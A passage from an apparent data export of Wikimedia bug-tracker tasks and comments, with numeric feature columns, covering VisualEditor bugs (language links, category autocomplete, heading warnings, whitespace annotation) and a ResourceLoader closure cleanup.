**Severity**: normal",Low,25.0,1370522640,1392388033.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-262uhvu3ikqle2l6ewsw,task_description,invalid,True,c1,2,True,False,False,-4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.55,"See URL

--------------------------
**Version**: unspecified
**Severity**: normal"
242144,VisualEditor: Toolbar button text doesn't line up vertically,No longer applicable,,,1392388033,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-262uhvu3ikqle2l6ewsw,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,6.0,1.0,No longer applicable
51226,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"This is bad, though in a relatively edge case of lanklinks outside the main namespace.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1370489100,1398108197.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-kpzuaoygi6lx5pro226s,task_description,resolved,True,c1,2,True,False,False,-4,,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.114285714285714,0.7428571428571429,"This is bad, though in a relatively edge case of lanklinks outside the main namespace.

--------------------------
**Version**: unspecified
**Severity**: normal"
240970,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"Change 127419 merged by jenkins-bot:
Use wgPageName instead of wgTitle when fetching language links

https://gerrit.wikimedia.org/r/127419",,,1398108169,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.95,1.0,"Change 127419 merged by jenkins-bot:
Use wgPageName instead of wgTitle when fetching language links

GERRIT_URL"
240966,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"Change 127419 had a related patch set uploaded by Catrope:
Use wgPageName instead of wgTitle when fetching language links

https://gerrit.wikimedia.org/r/127419",,,1397886324,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,5.043478260869565,1.0,"Change 127419 had a related patch set uploaded by Catrope:
Use wgPageName instead of wgTitle when fetching language links

GERRIT_URL"
240961,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),*** Bug 50565 has been marked as a duplicate of this bug. ***,,,1381266333,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50565 has been marked as a duplicate of this bug. ***
240956,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"(In reply to comment #1)
> This description is a bit cryptic, so .. is bug 50565 a dup of this bug?

It is, yes; sorry for crypticness. Hope it's a little better now.",,,1381266327,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,2.9285714285714284,0.9642857142857143,"(In reply to comment #1)
QUOTE

It is, yes; sorry for crypticness. Hope it's a little better now."
240949,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"This description is a bit cryptic, so .. is bug 50565 a dup of this bug?",,,1381108150,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.8333333333333334,"This description is a bit cryptic, so .. is bug 50565 a dup of this bug?"
51044,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"Users and categories should not be auto-completed based on page names (API action=opensearch) but instead based on their own respective query modules (list=allusers, list=allcategories) because the existence of a description page is optional and neither a subset nor superset of the database tables.

* Pages can exist for inexistent objects.
* Objects often don't have an associated page.

718db58f introduced category editing with autocompletion from opensearch (with hardcoded 'Category:' prefix). This should be switched to using list=allcategories instead.

That way the input field will no longer include results for inexistent categories, and no longer omit results for existing categories lacking a description page.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=65517",Low,25.0,1370113020,1401322108.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-qh6gg46z66xqohu77fjn,task_description,resolved,True,c1,1,True,False,False,-5,,0.0,0.0,0.0,0.5,1.0,5.0,0.5,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,5.5,6.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,1.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,22.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,3.5,1.5,7.0,0.5,3.0,5.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,6.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,2.0,0.0,2.5,0.5,0.0,0.0,4.385802469135802,0.7296747967479675,"Users and categories should not be auto-completed based on page names (API action=opensearch) but instead based on their own respective query modules (list=allusers, list=allcategories) because the existence of a description page is optional and neither a subset nor superset of the database tables.

* Pages can exist for inexistent objects.
* Objects often don't have an associated page.

718db58f introduced category editing with autocompletion from opensearch (with hardcoded 'Category:' prefix). This should be switched to using list=allcategories instead.

That way the input field will no longer include results for inexistent categories, and no longer omit results for existing categories lacking a description page.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
230237,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,*** Bug 65956 has been marked as a duplicate of this bug. ***,,,1401483580,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 65956 has been marked as a duplicate of this bug. ***
230231,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"Change 135782 merged by jenkins-bot:
Suggest categories that exist but don't necessarily have pages

https://gerrit.wikimedia.org/r/135782",,,1401321989,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,3,False,,,47,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 135782 merged by jenkins-bot:
Suggest categories that exist but don't necessarily have pages

GERRIT_URL"
230225,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"Change 135782 had a related patch set uploaded by Alex Monk:
Suggest categories that exist but don't necessarily have pages

https://gerrit.wikimedia.org/r/135782",,,1401295064,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,3,False,,,47,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.68,1.0,"Change 135782 had a related patch set uploaded by Alex Monk:
Suggest categories that exist but don't necessarily have pages

GERRIT_URL"
230219,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"(In reply to comment #1)
> Though I commend the effort for correctness, I don't think that this has ever
> even been brought up in the HotCat feedback. It would be nice though.
> 
> However, an empty category (page only), is still a valid category in most
> workflows (you have to start somewhere), so I think that excluding them is no
> more correct than including categories without pages...

(Whilst not defending the current MediaWiki behaviour) the way you start a new category is either:
* Create the description page
* Add pages to it from wikitext with [[Category: <name> ]]
or:
* Implicitly create it by adding pages to it from wikitext with [[Category: <name> ]]

The same is true for HotCat, afaik you can use a category that doesn't exist yet. The page is optional and the 'Category' table row will be created once there are items in it (though it doesn't delete the row if there are no more children in it, so you can still have category pages for categories that don't ""exist"" but do exist in the database).

Either way I think it is more likely for a user to want to add a page to a category that is used on another page (which may or may not have a description page yet) then for a user to first create a category page and then add a page to it. Especially on established wikis.

I agree it doesn't really make sense but this is how MediaWiki works. We could change MediaWiki core to also create category rows immediately when the page is created.

We could do 2 ajax requests for every autocomplete action but that seems a bit too much, and given the choice between the two I think completing based on existing categories instead of category description pages, the former is more likely and also has larger volume (there are more categories than there are description pages, there are relatively few category pages for categories that don't exist, ideally a wiki would have none of them).",,,1372102674,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,2,True,,,-1,,0.75,0.0,0.0,0.75,1.75,4.0,1.0,0.0,0.25,0.25,1.25,1.75,0.0,0.0,1.25,1.25,0.25,7.75,8.75,0.25,1.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,7.0,1.0,2.25,1.75,0.75,0.25,0.25,0.0,0.5,0.25,0.25,0.5,1.25,0.0,0.5,0.0,1.0,0.0,14.5,0.5,0.0,0.25,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.5,0.5,0.0,1.0,0.0,6.0,3.75,6.75,1.25,2.25,7.75,0.0,0.0,0.0,0.25,5.5,0.0,0.75,0.0,4.5,8.75,2.25,0.0,1.0,0.0,4.5,0.0,1.75,2.75,0.25,1.0,1.25,0.0,2.0,3.7569165998396152,0.6457497995188453,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

(Whilst not defending the current MediaWiki behaviour) the way you start a new category is either:
* Create the description page
* Add pages to it from wikitext with [[Category: <name> ]]
or:
* Implicitly create it by adding pages to it from wikitext with [[Category: <name> ]]

The same is true for HotCat, afaik you can use a category that doesn't exist yet. The page is optional and the 'Category' table row will be created once there are items in it (though it doesn't delete the row if there are no more children in it, so you can still have category pages for categories that don't ""exist"" but do exist in the database).

Either way I think it is more likely for a user to want to add a page to a category that is used on another page (which may or may not have a description page yet) then for a user to first create a category page and then add a page to it. Especially on established wikis.

I agree it doesn't really make sense but this is how MediaWiki works. We could change MediaWiki core to also create category rows immediately when the page is created.

We could do 2 ajax requests for every autocomplete action but that seems a bit too much, and given the choice between the two I think completing based on existing categories instead of category description pages, the former is more likely and also has larger volume (there are more categories than there are description pages, there are relatively few category pages for categories that don't exist, ideally a wiki would have none of them)."
230211,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"Though I commend the effort for correctness, I don't think that this has ever even been brought up in the HotCat feedback. It would be nice though.

However, an empty category (page only), is still a valid category in most workflows (you have to start somewhere), so I think that excluding them is no more correct than including categories without pages...",,,1370372523,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,1.0,1.0,7.0,4.0,0.0,3.0,0.0,4.0,1.0,0.0,1.0,0.0,4.0,0.0,12.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,5.0,5.0,9.0,4.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,14.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,1.0,3.0,1.0,1.0,0.0,4.013513513513513,0.8108108108108109,"Though I commend the effort for correctness, I don't think that this has ever even been brought up in the HotCat feedback. It would be nice though.

However, an empty category (page only), is still a valid category in most workflows (you have to start somewhere), so I think that excluding them is no more correct than including categories without pages..."
51012,"VisualEditor: On save, warn the user about inconsistent header indexes","It would be very nice if the Ve would warn you about inconsistencies in header levels (when you are skipping a level for instance)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1370005980,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-i4fozwumgivhnul7k3yd,task_description,open,True,c1,1,True,False,,-5,,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,9.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.181818181818182,0.75,"It would be very nice if the Ve would warn you about inconsistencies in header levels (when you are skipping a level for instance)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233669,"VisualEditor: On save, warn the user about inconsistent header indexes","Nice idea.

Possible rules:

* Use of H1 in the main namespace
* Use of Hn+1 not inside an Hn
* Others?",,,1370633090,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4fozwumgivhnul7k3yd,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,28.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.9655172413793105,0.7931034482758621,"Nice idea.

Possible rules:

* Use of H1 in the main namespace
* Use of Hn+1 not inside an Hn
* Others?"
50933,VisualEditor: Whitespace characters should not take a pre-annotation unless they have non-whitespace after them in the annotation,"In https://de.wikipedia.org/w/index.php?title=Anna_Zaja&curid=7691608&diff=118985342&oldid=118754158 a missing space was added after the name, but it should not be inside the bold part.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://de.wikipedia.org/w/index.php?title=Anna_Zaja&curid=7691608&diff=118985342&oldid=118754158",Low,25.0,1369820460,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-6lw5ypbid2gpphswv2j6,task_description,open,True,c1,1,False,False,,-5,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,13.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4468085106382977,0.6170212765957447,"In URL a missing space was added after the name, but it should not be inside the bold part.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
228945,VisualEditor: Whitespace characters should not take a pre-annotation unless they have non-whitespace after them in the annotation,"Rephrased to ""Whitespace characters should not take a pre-annotation unless they have non-whitespace after them in the annotation"". This means that we have to evaluate whether pre-annotation should take place on insertion against both the content and the context, but then re-evaluate on the first non-WS character in a potential pre-annotation. This could get messy.",,,1372026701,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6lw5ypbid2gpphswv2j6,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,1.0,11.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,16.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,7.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,4.287671232876712,0.6438356164383562,"Rephrased to ""Whitespace characters should not take a pre-annotation unless they have non-whitespace after them in the annotation"". This means that we have to evaluate whether pre-annotation should take place on insertion against both the content and the context, but then re-evaluate on the first non-WS character in a potential pre-annotation. This could get messy."
50886,ResourceLoader: Remove obsolete closures from files,"Situation:
* ResourceLoader wraps modules in closures
* MediaWiki developers put a closure in each file
* As a result loading 1 module with 2 files will have 3 closures

```
mw.loader.implement( 'foo', function ( $ ) {
  --- foo.a.js
  ( function ( $, mw ) { 
    ...
  }( jQuery, mediaWiki ) )

  --- foo.b.js
  ( function ( $, mw ) { 
    ...
  }( jQuery, mediaWiki ) )
} );

inside mw.loader#execute:

  script( jQuery );
```

It has been suggested we add ""mw"" to ResourceLoader's closure and get rid of the per-file closure.

The downside of doing that would be that they are less safe to use ""standalone"". e.g. a jquery plugin would be using $ directly, which, outside MediaWiki ResourceLoader context is bad.

There is also the pending refactoring of ResourceLoader debug mode to not be completely different and near useless by executing in the global scope.
",Low,25.0,1369733580,1554583100.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-knvyif3q5u66km5ufvcb,task_description,resolved,True,c1,1,True,True,False,-5,,0.5,0.0,1.0,0.5,1.0,4.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.5,1.0,5.5,9.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,2.0,0.5,4.0,0.0,0.5,1.0,0.0,0.0,1.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,11.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,4.5,5.0,7.5,1.0,1.5,6.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,2.0,9.5,5.5,0.0,2.5,0.0,2.0,0.0,1.0,2.0,0.0,3.5,1.0,0.0,0.0,4.0338942307692305,0.7676682692307693,"Situation:
* ResourceLoader wraps modules in closures
* MediaWiki developers put a closure in each file
* As a result loading 1 module with 2 files will have 3 closures

``CODE``

It has been suggested we add ""mw"" to ResourceLoader's closure and get rid of the per-file closure.

The downside of doing that would be that they are less safe to use ""standalone"". e.g. a jquery plugin would be using $ directly, which, outside MediaWiki ResourceLoader context is bad.

There is also the pending refactoring of ResourceLoader debug mode to not be completely different and near useless by executing in the global scope.
"
1347752,ResourceLoader: Remove obsolete closures from files,"Change 534762 **merged** by jenkins-bot:
[mediawiki/core@master] mediawiki.util: Remove redundant file closures

[[https://gerrit.wikimedia.org/r/534762]]",,,1567876799,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,322,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.933333333333333,0.7333333333333333,"Change 534762 **merged** by jenkins-bot:
[mediawiki/core@master] mediawiki.util: Remove redundant file closures

[[GERRIT_URL]]"
1347207,ResourceLoader: Remove obsolete closures from files,"Change 534762 had a related patch set uploaded (by Fomafix; owner: Fomafix):
[mediawiki/core@master] Remove redundant closure for module 'mediawiki.util'

